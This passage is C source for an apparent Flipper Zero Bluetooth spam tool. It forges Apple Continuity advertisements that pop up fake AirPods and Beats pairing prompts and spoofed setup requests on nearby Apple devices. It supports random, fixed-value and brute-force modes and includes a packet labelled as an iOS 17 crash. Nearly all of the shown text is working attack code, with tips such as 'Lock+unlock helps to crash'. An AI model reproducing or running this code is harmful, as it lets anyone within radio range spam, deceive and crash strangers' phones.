continuity.c 45 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277
  1. #include "continuity.h"
  2. #include "_protocols.h"
  3. // Hacked together by @Willy-JL
  4. // iOS 17 Crash by @ECTO-1A
  5. // Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/
  6. // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
  7. typedef struct {
  8. uint8_t value;
  9. const char* name;
  10. } ContinuityColor;
  11. static const ContinuityColor colors_white[] = {
  12. {0x00, "White"},
  13. };
  14. static const ContinuityColor colors_airpods_max[] = {
  15. {0x00, "White"},
  16. {0x02, "Red"},
  17. {0x03, "Blue"},
  18. {0x0F, "Black"},
  19. {0x11, "Light Green"},
  20. };
  21. static const ContinuityColor colors_beats_flex[] = {
  22. {0x00, "White"},
  23. {0x01, "Black"},
  24. };
  25. static const ContinuityColor colors_beats_solo_3[] = {
  26. {0x00, "White"},
  27. {0x01, "Black"},
  28. {0x6, "Gray"},
  29. {0x7, "Gold/White"},
  30. {0x8, "Rose Gold"},
  31. {0x09, "Black"},
  32. {0xE, "Violet/White"},
  33. {0xF, "Bright Red"},
  34. {0x12, "Dark Red"},
  35. {0x13, "Swamp Green"},
  36. {0x14, "Dark Gray"},
  37. {0x15, "Dark Blue"},
  38. {0x1D, "Rose Gold 2"},
  39. {0x20, "Blue/Green"},
  40. {0x21, "Purple/Orange"},
  41. {0x22, "Deep Blue/ Light blue"},
  42. {0x23, "Magenta/Light Fuchsia"},
  43. {0x25, "Black/Red"},
  44. {0x2A, "Gray / Disney LTD"},
  45. {0x2E, "Pinkish white"},
  46. {0x3D, "Red/Blue"},
  47. {0x3E, "Yellow/Blue"},
  48. {0x3F, "White/Red"},
  49. {0x40, "Purple/White"},
  50. {0x5B, "Gold"},
  51. {0x5C, "Silver"},
  52. };
  53. static const ContinuityColor colors_powerbeats_3[] = {
  54. {0x00, "White"},
  55. {0x01, "Black"},
  56. {0x0B, "Gray/Blue"},
  57. {0x0C, "Gray/Red"},
  58. {0x0D, "Gray/Green"},
  59. {0x12, "Red"},
  60. {0x13, "Swamp Green"},
  61. {0x14, "Gray"},
  62. {0x15, "Deep Blue"},
  63. {0x17, "Dark with Gold Logo"},
  64. };
  65. static const ContinuityColor colors_powerbeats_pro[] = {
  66. {0x00, "White"},
  67. {0x02, "Yellowish Green"},
  68. {0x03, "Blue"},
  69. {0x04, "Black"},
  70. {0x05, "Pink"},
  71. {0x06, "Red"},
  72. {0x0B, "Gray ?"},
  73. {0x0D, "Sky Blue"},
  74. };
  75. static const ContinuityColor colors_beats_solo_pro[] = {
  76. {0x00, "White"},
  77. {0x01, "Black"},
  78. };
  79. static const ContinuityColor colors_beats_studio_buds[] = {
  80. {0x00, "White"},
  81. {0x01, "Black"},
  82. {0x02, "Red"},
  83. {0x03, "Blue"},
  84. {0x04, "Pink"},
  85. {0x06, "Silver"},
  86. };
  87. static const ContinuityColor colors_beats_x[] = {
  88. {0x00, "White"},
  89. {0x01, "Black"},
  90. {0x02, "Blue"},
  91. {0x05, "Gray"},
  92. {0x1D, "Pink"},
  93. {0x25, "Dark/Red"},
  94. };
  95. static const ContinuityColor colors_beats_studio_3[] = {
  96. {0x00, "White"},
  97. {0x01, "Black"},
  98. {0x02, "Red"},
  99. {0x03, "Blue"},
  100. {0x18, "Shadow Gray"},
  101. {0x19, "Desert Sand"},
  102. {0x25, "Black / Red"},
  103. {0x26, "Midnight Black"},
  104. {0x27, "Desert Sand 2"},
  105. {0x28, "Gray"},
  106. {0x29, "Clear blue/ gold"},
  107. {0x42, "Green Forest camo"},
  108. {0x43, "White Camo"},
  109. };
  110. static const ContinuityColor colors_beats_studio_pro[] = {
  111. {0x00, "White"},
  112. {0x01, "Black"},
  113. };
  114. static const ContinuityColor colors_beats_fit_pro[] = {
  115. {0x00, "White"},
  116. {0x01, "Black"},
  117. {0x02, "Pink"},
  118. {0x03, "Grey/White"},
  119. {0x04, "Full Pink"},
  120. {0x05, "Neon Green"},
  121. {0x06, "Night Blue"},
  122. {0x07, "Light Pink"},
  123. {0x08, "Brown"},
  124. {0x09, "Dark Brown"},
  125. };
  126. static const ContinuityColor colors_beats_studio_buds_[] = {
  127. {0x00, "Black"},
  128. {0x01, "White"},
  129. {0x02, "Transparent"},
  130. {0x03, "Silver"},
  131. {0x04, "Pink"},
  132. };
  133. static const struct {
  134. uint16_t value;
  135. const char* name;
  136. const ContinuityColor* colors;
  137. const uint8_t colors_count;
  138. } pp_models[] = {
  139. {0x0E20, "AirPods Pro", colors_white, COUNT_OF(colors_white)},
  140. {0x0A20, "AirPods Max", colors_airpods_max, COUNT_OF(colors_airpods_max)},
  141. {0x0055, "Airtag", colors_white, COUNT_OF(colors_white)},
  142. {0x0030, "Hermes Airtag", colors_white, COUNT_OF(colors_white)},
  143. {0x0220, "AirPods", colors_white, COUNT_OF(colors_white)},
  144. {0x0F20, "AirPods 2nd Gen", colors_white, COUNT_OF(colors_white)},
  145. {0x1320, "AirPods 3rd Gen", colors_white, COUNT_OF(colors_white)},
  146. {0x1420, "AirPods Pro 2nd Gen", colors_white, COUNT_OF(colors_white)},
  147. {0x1020, "Beats Flex", colors_beats_flex, COUNT_OF(colors_beats_flex)},
  148. {0x0620, "Beats Solo 3", colors_beats_solo_3, COUNT_OF(colors_beats_solo_3)},
  149. {0x0320, "Powerbeats 3", colors_powerbeats_3, COUNT_OF(colors_powerbeats_3)},
  150. {0x0B20, "Powerbeats Pro", colors_powerbeats_pro, COUNT_OF(colors_powerbeats_pro)},
  151. {0x0C20, "Beats Solo Pro", colors_beats_solo_pro, COUNT_OF(colors_beats_solo_pro)},
  152. {0x1120, "Beats Studio Buds", colors_beats_studio_buds, COUNT_OF(colors_beats_studio_buds)},
  153. {0x0520, "Beats X", colors_beats_x, COUNT_OF(colors_beats_x)},
  154. {0x0920, "Beats Studio 3", colors_beats_studio_3, COUNT_OF(colors_beats_studio_3)},
  155. {0x1720, "Beats Studio Pro", colors_beats_studio_pro, COUNT_OF(colors_beats_studio_pro)},
  156. {0x1220, "Beats Fit Pro", colors_beats_fit_pro, COUNT_OF(colors_beats_fit_pro)},
  157. {0x1620, "Beats Studio Buds+", colors_beats_studio_buds_, COUNT_OF(colors_beats_studio_buds_)},
  158. };
  159. static const uint8_t pp_models_count = COUNT_OF(pp_models);
  160. static const struct {
  161. uint8_t value;
  162. const char* name;
  163. } pp_prefixes[] = {
  164. {0x07, "New Device"},
  165. {0x01, "Not Your Device"},
  166. {0x05, "New Airtag"},
  167. };
  168. static const uint8_t pp_prefixes_count = COUNT_OF(pp_prefixes);
  169. static const struct {
  170. uint8_t value;
  171. const char* name;
  172. } na_actions[] = {
  173. {0x13, "AppleTV AutoFill"},
  174. {0x24, "Apple Vision Pro"},
  175. {0x05, "Apple Watch"},
  176. {0x27, "AppleTV Connecting..."},
  177. {0x20, "Join This AppleTV?"},
  178. {0x19, "AppleTV Audio Sync"},
  179. {0x1E, "AppleTV Color Balance"},
  180. {0x09, "Setup New iPhone"},
  181. {0x2F, "Sign in to other device"},
  182. {0x02, "Transfer Phone Number"},
  183. {0x0B, "HomePod Setup"},
  184. {0x01, "Setup New AppleTV"},
  185. {0x06, "Pair AppleTV"},
  186. {0x0D, "HomeKit AppleTV Setup"},
  187. {0x2B, "AppleID for AppleTV?"},
  188. };
  189. static const uint8_t na_actions_count = COUNT_OF(na_actions);
  190. static const char* type_names[ContinuityTypeCOUNT] = {
  191. [ContinuityTypeAirDrop] = "AirDrop",
  192. [ContinuityTypeProximityPair] = "Continuity Pair",
  193. [ContinuityTypeAirplayTarget] = "Airplay Target",
  194. [ContinuityTypeHandoff] = "Handoff",
  195. [ContinuityTypeTetheringSource] = "Tethering Source",
  196. [ContinuityTypeNearbyAction] = "Continuity Action",
  197. [ContinuityTypeNearbyInfo] = "Nearby Info",
  198. [ContinuityTypeCustomCrash] = "Continuity Custom",
  199. };
  200. static const char* get_name(const Payload* payload) {
  201. const ContinuityCfg* cfg = &payload->cfg.continuity;
  202. return type_names[cfg->type];
  203. }
  204. #define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size
  205. static uint8_t packet_sizes[ContinuityTypeCOUNT] = {
  206. [ContinuityTypeAirDrop] = HEADER_LEN + 18,
  207. [ContinuityTypeProximityPair] = HEADER_LEN + 25,
  208. [ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
  209. [ContinuityTypeHandoff] = HEADER_LEN + 14,
  210. [ContinuityTypeTetheringSource] = HEADER_LEN + 6,
  211. [ContinuityTypeNearbyAction] = HEADER_LEN + 5,
  212. [ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
  213. [ContinuityTypeCustomCrash] = HEADER_LEN + 11,
  214. };
  215. static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
  216. ContinuityCfg* cfg = payload ? &payload->cfg.continuity : NULL;
  217. ContinuityType type;
  218. if(cfg && cfg->type != 0x00) {
  219. type = cfg->type;
  220. } else {
  221. const ContinuityType types[] = {
  222. ContinuityTypeProximityPair,
  223. ContinuityTypeNearbyAction,
  224. ContinuityTypeCustomCrash,
  225. };
  226. type = types[rand() % COUNT_OF(types)];
  227. }
  228. uint8_t size = packet_sizes[type];
  229. uint8_t* packet = malloc(size);
  230. uint8_t i = 0;
  231. packet[i++] = size - 1; // Size
  232. packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
  233. packet[i++] = 0x4C; // Company ID (Apple, Inc.)
  234. packet[i++] = 0x00; // ...
  235. packet[i++] = type; // Continuity Type
  236. packet[i] = size - i - 1; // Continuity Size
  237. i++;
  238. switch(type) {
  239. case ContinuityTypeAirDrop: {
  240. packet[i++] = 0x00; // Zeros
  241. packet[i++] = 0x00; // ...
  242. packet[i++] = 0x00; // ...
  243. packet[i++] = 0x00; // ...
  244. packet[i++] = 0x00; // ...
  245. packet[i++] = 0x00; // ...
  246. packet[i++] = 0x00; // ...
  247. packet[i++] = 0x00; // ...
  248. packet[i++] = 0x01; // Version
  249. packet[i++] = (rand() % 256); // AppleID
  250. packet[i++] = (rand() % 256); // ...
  251. packet[i++] = (rand() % 256); // Phone Number
  252. packet[i++] = (rand() % 256); // ...
  253. packet[i++] = (rand() % 256); // Email
  254. packet[i++] = (rand() % 256); // ...
  255. packet[i++] = (rand() % 256); // Email2
  256. packet[i++] = (rand() % 256); // ...
  257. packet[i++] = 0x00; // Zero
  258. break;
  259. }
  260. case ContinuityTypeProximityPair: {
  261. uint16_t model;
  262. uint8_t color;
  263. switch(payload ? payload->mode : PayloadModeRandom) {
  264. case PayloadModeRandom:
  265. default: {
  266. uint8_t model_index = rand() % pp_models_count;
  267. uint8_t color_index = rand() % pp_models[model_index].colors_count;
  268. model = pp_models[model_index].value;
  269. color = pp_models[model_index].colors[color_index].value;
  270. break;
  271. }
  272. case PayloadModeValue:
  273. model = cfg->data.proximity_pair.model;
  274. color = cfg->data.proximity_pair.color;
  275. break;
  276. case PayloadModeBruteforce:
  277. switch(cfg->data.proximity_pair.bruteforce_mode) {
  278. case ContinuityPpBruteforceModel:
  279. default:
  280. model = cfg->data.proximity_pair.model = payload->bruteforce.value;
  281. color = cfg->data.proximity_pair.color;
  282. break;
  283. case ContinuityPpBruteforceColor:
  284. model = cfg->data.proximity_pair.model;
  285. color = cfg->data.proximity_pair.color = payload->bruteforce.value;
  286. break;
  287. }
  288. break;
  289. }
  290. uint8_t prefix;
  291. if(cfg && cfg->data.proximity_pair.prefix != 0x00) {
  292. prefix = cfg->data.proximity_pair.prefix;
  293. } else {
  294. if(model == 0x0055 || model == 0x0030)
  295. prefix = 0x05;
  296. else
  297. prefix = 0x01;
  298. }
  299. packet[i++] = prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05)
  300. packet[i++] = (model >> 0x08) & 0xFF; // Device Model
  301. packet[i++] = (model >> 0x00) & 0xFF; // ...
  302. packet[i++] = 0x55; // Status
  303. packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level
  304. packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level
  305. packet[i++] = (rand() % 256); // Lid Open Counter
  306. packet[i++] = color; // Device Color
  307. packet[i++] = 0x00;
  308. furi_hal_random_fill_buf(&packet[i], 16); // Encrypted Payload
  309. i += 16;
  310. break;
  311. }
  312. case ContinuityTypeAirplayTarget: {
  313. packet[i++] = (rand() % 256); // Flags
  314. packet[i++] = (rand() % 256); // Configuration Seed
  315. packet[i++] = (rand() % 256); // IPv4 Address
  316. packet[i++] = (rand() % 256); // ...
  317. packet[i++] = (rand() % 256); // ...
  318. packet[i++] = (rand() % 256); // ...
  319. break;
  320. }
  321. case ContinuityTypeHandoff: {
  322. packet[i++] = 0x01; // Version
  323. packet[i++] = (rand() % 256); // Initialization Vector
  324. packet[i++] = (rand() % 256); // ...
  325. packet[i++] = (rand() % 256); // AES-GCM Auth Tag
  326. packet[i++] = (rand() % 256); // Encrypted Payload
  327. packet[i++] = (rand() % 256); // ...
  328. packet[i++] = (rand() % 256); // ...
  329. packet[i++] = (rand() % 256); // ...
  330. packet[i++] = (rand() % 256); // ...
  331. packet[i++] = (rand() % 256); // ...
  332. packet[i++] = (rand() % 256); // ...
  333. packet[i++] = (rand() % 256); // ...
  334. packet[i++] = (rand() % 256); // ...
  335. packet[i++] = (rand() % 256); // ...
  336. break;
  337. }
  338. case ContinuityTypeTetheringSource: {
  339. packet[i++] = 0x01; // Version
  340. packet[i++] = (rand() % 256); // Flags
  341. packet[i++] = (rand() % 101); // Battery Life
  342. packet[i++] = 0x00; // Cell Service Type
  343. packet[i++] = (rand() % 8); // ...
  344. packet[i++] = (rand() % 5); // Cell Service Strength
  345. break;
  346. }
  347. case ContinuityTypeNearbyAction: {
  348. uint8_t action;
  349. switch(payload ? payload->mode : PayloadModeRandom) {
  350. case PayloadModeRandom:
  351. default:
  352. action = na_actions[rand() % na_actions_count].value;
  353. break;
  354. case PayloadModeValue:
  355. action = cfg->data.nearby_action.action;
  356. break;
  357. case PayloadModeBruteforce:
  358. action = cfg->data.nearby_action.action = payload->bruteforce.value;
  359. break;
  360. }
  361. uint8_t flags;
  362. if(cfg && cfg->data.nearby_action.flags != 0x00) {
  363. flags = cfg->data.nearby_action.flags;
  364. } else {
  365. flags = 0xC0;
  366. if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
  367. if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
  368. }
  369. packet[i++] = flags; // Action Flags
  370. packet[i++] = action; // Action Type
  371. furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
  372. i += 3;
  373. break;
  374. }
  375. case ContinuityTypeNearbyInfo: {
  376. packet[i++] = ((rand() % 16) << 4) + (rand() % 16); // Status Flags and Action Code
  377. packet[i++] = (rand() % 256); // Status Flags
  378. packet[i++] = (rand() % 256); // Authentication Tag
  379. packet[i++] = (rand() % 256); // ...
  380. packet[i++] = (rand() % 256); // ...
  381. break;
  382. }
  383. case ContinuityTypeCustomCrash: {
  384. // Found by @ECTO-1A
  385. uint8_t action = na_actions[rand() % na_actions_count].value;
  386. uint8_t flags = 0xC0;
  387. if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
  388. if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
  389. i -= 2; // Override segment header
  390. packet[i++] = ContinuityTypeNearbyAction; // Continuity Type
  391. packet[i++] = 5; // Continuity Size
  392. packet[i++] = flags; // Action Flags
  393. packet[i++] = action; // Action Type
  394. furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
  395. i += 3;
  396. packet[i++] = 0x00; // Additional Action Data Terminator (?)
  397. packet[i++] = 0x00; // ...
  398. packet[i++] = ContinuityTypeNearbyInfo; // Continuity Type (?)
  399. furi_hal_random_fill_buf(&packet[i], 3); // Continuity Size (?) + Shenanigans (???)
  400. i += 3;
  401. break;
  402. }
  403. default:
  404. break;
  405. }
  406. *_size = size;
  407. *_packet = packet;
  408. }
  409. enum {
  410. _ConfigPpExtraStart = ConfigExtraStart,
  411. ConfigPpModel,
  412. ConfigPpColor,
  413. ConfigPpPrefix,
  414. ConfigPpCOUNT,
  415. };
  416. enum {
  417. _ConfigNaExtraStart = ConfigExtraStart,
  418. ConfigNaAction,
  419. ConfigNaFlags,
  420. ConfigNaCOUNT,
  421. };
  422. enum {
  423. _ConfigCcExtraStart = ConfigExtraStart,
  424. ConfigCcInfoFixed,
  425. ConfigCcInfoLock,
  426. ConfigCcInfoDevice,
  427. ConfigCcCOUNT,
  428. };
  429. static void config_callback(void* _ctx, uint32_t index) {
  430. Ctx* ctx = _ctx;
  431. Payload* payload = &ctx->attack->payload;
  432. ContinuityCfg* cfg = &payload->cfg.continuity;
  433. scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
  434. switch(cfg->type) {
  435. case ContinuityTypeProximityPair: {
  436. switch(index) {
  437. case ConfigPpModel:
  438. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModel);
  439. break;
  440. case ConfigPpColor:
  441. if(payload->mode != PayloadModeRandom)
  442. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpColor);
  443. break;
  444. case ConfigPpPrefix:
  445. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefix);
  446. break;
  447. default:
  448. ctx->fallback_config_enter(ctx, index);
  449. break;
  450. }
  451. break;
  452. }
  453. case ContinuityTypeNearbyAction: {
  454. switch(index) {
  455. case ConfigNaAction:
  456. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaAction);
  457. break;
  458. case ConfigNaFlags:
  459. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaFlags);
  460. break;
  461. default:
  462. ctx->fallback_config_enter(ctx, index);
  463. break;
  464. }
  465. break;
  466. }
  467. case ContinuityTypeCustomCrash: {
  468. switch(index) {
  469. case ConfigCcInfoLock:
  470. case ConfigCcInfoDevice:
  471. break;
  472. default:
  473. ctx->fallback_config_enter(ctx, index);
  474. break;
  475. }
  476. break;
  477. }
  478. default:
  479. ctx->fallback_config_enter(ctx, index);
  480. break;
  481. }
  482. }
  483. static void pp_model_changed(VariableItem* item) {
  484. Ctx* ctx = variable_item_get_context(item);
  485. Payload* payload = &ctx->attack->payload;
  486. ContinuityCfg* cfg = &payload->cfg.continuity;
  487. uint8_t index = variable_item_get_current_value_index(item);
  488. const char* color_name = NULL;
  489. char color_name_buf[3];
  490. uint8_t colors_count;
  491. uint8_t value_index_color;
  492. if(index) {
  493. index--;
  494. if(payload->mode != PayloadModeBruteforce ||
  495. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceModel)
  496. payload->mode = PayloadModeValue;
  497. cfg->data.proximity_pair.model = pp_models[index].value;
  498. variable_item_set_current_value_text(item, pp_models[index].name);
  499. colors_count = pp_models[index].colors_count;
  500. if(payload->mode == PayloadModeValue) {
  501. for(uint8_t j = 0; j < colors_count; j++) {
  502. if(cfg->data.proximity_pair.color == pp_models[index].colors[j].value) {
  503. color_name = pp_models[index].colors[j].name;
  504. value_index_color = j;
  505. break;
  506. }
  507. }
  508. if(!color_name) {
  509. snprintf(
  510. color_name_buf, sizeof(color_name_buf), "%02X", cfg->data.proximity_pair.color);
  511. color_name = color_name_buf;
  512. value_index_color = colors_count;
  513. }
  514. } else {
  515. color_name = "Bruteforce";
  516. value_index_color = colors_count;
  517. }
  518. } else {
  519. payload->mode = PayloadModeRandom;
  520. variable_item_set_current_value_text(item, "Random");
  521. color_name = "Random";
  522. colors_count = 1;
  523. value_index_color = 0;
  524. }
  525. item = variable_item_list_get(ctx->variable_item_list, ConfigPpColor);
  526. variable_item_set_values_count(item, colors_count);
  527. variable_item_set_current_value_index(item, value_index_color);
  528. variable_item_set_current_value_text(item, color_name);
  529. }
  530. static void pp_color_changed(VariableItem* item) {
  531. Payload* payload = variable_item_get_context(item);
  532. ContinuityCfg* cfg = &payload->cfg.continuity;
  533. uint8_t index = variable_item_get_current_value_index(item);
  534. if(payload->mode != PayloadModeBruteforce ||
  535. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)
  536. payload->mode = PayloadModeValue;
  537. uint8_t model_index = 0;
  538. for(; model_index < pp_models_count; model_index++) {
  539. if(cfg->data.proximity_pair.model == pp_models[model_index].value) break;
  540. }
  541. cfg->data.proximity_pair.color = pp_models[model_index].colors[index].value;
  542. variable_item_set_current_value_text(item, pp_models[model_index].colors[index].name);
  543. }
  544. static void pp_prefix_changed(VariableItem* item) {
  545. Payload* payload = variable_item_get_context(item);
  546. ContinuityCfg* cfg = &payload->cfg.continuity;
  547. uint8_t index = variable_item_get_current_value_index(item);
  548. if(index) {
  549. index--;
  550. cfg->data.proximity_pair.prefix = pp_prefixes[index].value;
  551. variable_item_set_current_value_text(item, pp_prefixes[index].name);
  552. } else {
  553. cfg->data.proximity_pair.prefix = 0x00;
  554. variable_item_set_current_value_text(item, "Auto");
  555. }
  556. }
  557. static void na_action_changed(VariableItem* item) {
  558. Payload* payload = variable_item_get_context(item);
  559. ContinuityCfg* cfg = &payload->cfg.continuity;
  560. uint8_t index = variable_item_get_current_value_index(item);
  561. if(index) {
  562. index--;
  563. payload->mode = PayloadModeValue;
  564. cfg->data.nearby_action.action = na_actions[index].value;
  565. variable_item_set_current_value_text(item, na_actions[index].name);
  566. } else {
  567. payload->mode = PayloadModeRandom;
  568. variable_item_set_current_value_text(item, "Random");
  569. }
  570. }
  571. static void extra_config(Ctx* ctx) {
  572. Payload* payload = &ctx->attack->payload;
  573. ContinuityCfg* cfg = &payload->cfg.continuity;
  574. VariableItemList* list = ctx->variable_item_list;
  575. VariableItem* item;
  576. uint8_t value_index;
  577. switch(cfg->type) {
  578. case ContinuityTypeProximityPair: {
  579. item =
  580. variable_item_list_add(list, "Model Code", pp_models_count + 1, pp_model_changed, ctx);
  581. const char* model_name = NULL;
  582. char model_name_buf[5];
  583. const char* color_name = NULL;
  584. char color_name_buf[3];
  585. uint8_t colors_count;
  586. uint8_t value_index_color;
  587. switch(payload->mode) {
  588. case PayloadModeRandom:
  589. default:
  590. model_name = "Random";
  591. value_index = 0;
  592. color_name = "Random";
  593. colors_count = 1;
  594. value_index_color = 0;
  595. break;
  596. case PayloadModeValue:
  597. for(uint8_t i = 0; i < pp_models_count; i++) {
  598. if(cfg->data.proximity_pair.model == pp_models[i].value) {
  599. model_name = pp_models[i].name;
  600. value_index = i + 1;
  601. colors_count = pp_models[i].colors_count;
  602. for(uint8_t j = 0; j < colors_count; j++) {
  603. if(cfg->data.proximity_pair.color == pp_models[i].colors[j].value) {
  604. color_name = pp_models[i].colors[j].name;
  605. value_index_color = j;
  606. break;
  607. }
  608. }
  609. break;
  610. }
  611. }
  612. if(!model_name) {
  613. snprintf(
  614. model_name_buf, sizeof(model_name_buf), "%04X", cfg->data.proximity_pair.model);
  615. model_name = model_name_buf;
  616. value_index = pp_models_count + 1;
  617. colors_count = 0;
  618. }
  619. if(!color_name) {
  620. snprintf(
  621. color_name_buf, sizeof(color_name_buf), "%02X", cfg->data.proximity_pair.color);
  622. color_name = color_name_buf;
  623. value_index_color = colors_count;
  624. }
  625. break;
  626. case PayloadModeBruteforce:
  627. switch(cfg->data.proximity_pair.bruteforce_mode) {
  628. case ContinuityPpBruteforceModel:
  629. default:
  630. model_name = "Bruteforce";
  631. value_index = pp_models_count + 1;
  632. snprintf(
  633. color_name_buf, sizeof(color_name_buf), "%02X", cfg->data.proximity_pair.color);
  634. color_name = color_name_buf;
  635. colors_count = 1;
  636. value_index_color = 0;
  637. break;
  638. case ContinuityPpBruteforceColor:
  639. for(uint8_t i = 0; i < pp_models_count; i++) {
  640. if(cfg->data.proximity_pair.model == pp_models[i].value) {
  641. model_name = pp_models[i].name;
  642. value_index = i + 1;
  643. colors_count = pp_models[i].colors_count;
  644. break;
  645. }
  646. }
  647. if(!model_name) {
  648. snprintf(
  649. model_name_buf,
  650. sizeof(model_name_buf),
  651. "%04X",
  652. cfg->data.proximity_pair.model);
  653. model_name = model_name_buf;
  654. value_index = pp_models_count + 1;
  655. colors_count = 0;
  656. }
  657. color_name = "Bruteforce";
  658. value_index_color = colors_count;
  659. break;
  660. }
  661. break;
  662. }
  663. variable_item_set_current_value_index(item, value_index);
  664. variable_item_set_current_value_text(item, model_name);
  665. item =
  666. variable_item_list_add(list, "Device Color", colors_count, pp_color_changed, payload);
  667. variable_item_set_current_value_index(item, value_index_color);
  668. variable_item_set_current_value_text(item, color_name);
  669. item = variable_item_list_add(
  670. list, "Prefix", pp_prefixes_count + 1, pp_prefix_changed, payload);
  671. const char* prefix_name = NULL;
  672. char prefix_name_buf[3];
  673. if(cfg->data.proximity_pair.prefix == 0x00) {
  674. prefix_name = "Auto";
  675. value_index = 0;
  676. } else {
  677. for(uint8_t i = 0; i < pp_prefixes_count; i++) {
  678. if(cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
  679. prefix_name = pp_prefixes[i].name;
  680. value_index = i + 1;
  681. break;
  682. }
  683. }
  684. if(!prefix_name) {
  685. snprintf(
  686. prefix_name_buf,
  687. sizeof(prefix_name_buf),
  688. "%02X",
  689. cfg->data.proximity_pair.prefix);
  690. prefix_name = prefix_name_buf;
  691. value_index = pp_prefixes_count + 1;
  692. }
  693. }
  694. variable_item_set_current_value_index(item, value_index);
  695. variable_item_set_current_value_text(item, prefix_name);
  696. break;
  697. }
  698. case ContinuityTypeNearbyAction: {
  699. item = variable_item_list_add(
  700. list, "Action Type", na_actions_count + 1, na_action_changed, payload);
  701. const char* action_name = NULL;
  702. char action_name_buf[3];
  703. switch(payload->mode) {
  704. case PayloadModeRandom:
  705. default:
  706. action_name = "Random";
  707. value_index = 0;
  708. break;
  709. case PayloadModeValue:
  710. for(uint8_t i = 0; i < na_actions_count; i++) {
  711. if(cfg->data.nearby_action.action == na_actions[i].value) {
  712. action_name = na_actions[i].name;
  713. value_index = i + 1;
  714. break;
  715. }
  716. }
  717. if(!action_name) {
  718. snprintf(
  719. action_name_buf,
  720. sizeof(action_name_buf),
  721. "%02X",
  722. cfg->data.nearby_action.action);
  723. action_name = action_name_buf;
  724. value_index = na_actions_count + 1;
  725. }
  726. break;
  727. case PayloadModeBruteforce:
  728. action_name = "Bruteforce";
  729. value_index = na_actions_count + 1;
  730. break;
  731. }
  732. variable_item_set_current_value_index(item, value_index);
  733. variable_item_set_current_value_text(item, action_name);
  734. item = variable_item_list_add(list, "Flags", 0, NULL, NULL);
  735. const char* flags_name = NULL;
  736. char flags_name_buf[3];
  737. if(cfg->data.nearby_action.flags == 0x00) {
  738. flags_name = "Auto";
  739. } else {
  740. snprintf(
  741. flags_name_buf, sizeof(flags_name_buf), "%02X", cfg->data.nearby_action.flags);
  742. flags_name = flags_name_buf;
  743. }
  744. variable_item_set_current_value_text(item, flags_name);
  745. break;
  746. }
  747. case ContinuityTypeCustomCrash: {
  748. variable_item_list_add(list, "CRASH FIXED IN IOS 17.2", 0, NULL, NULL);
  749. variable_item_list_add(list, "Lock+unlock helps to crash", 0, NULL, NULL);
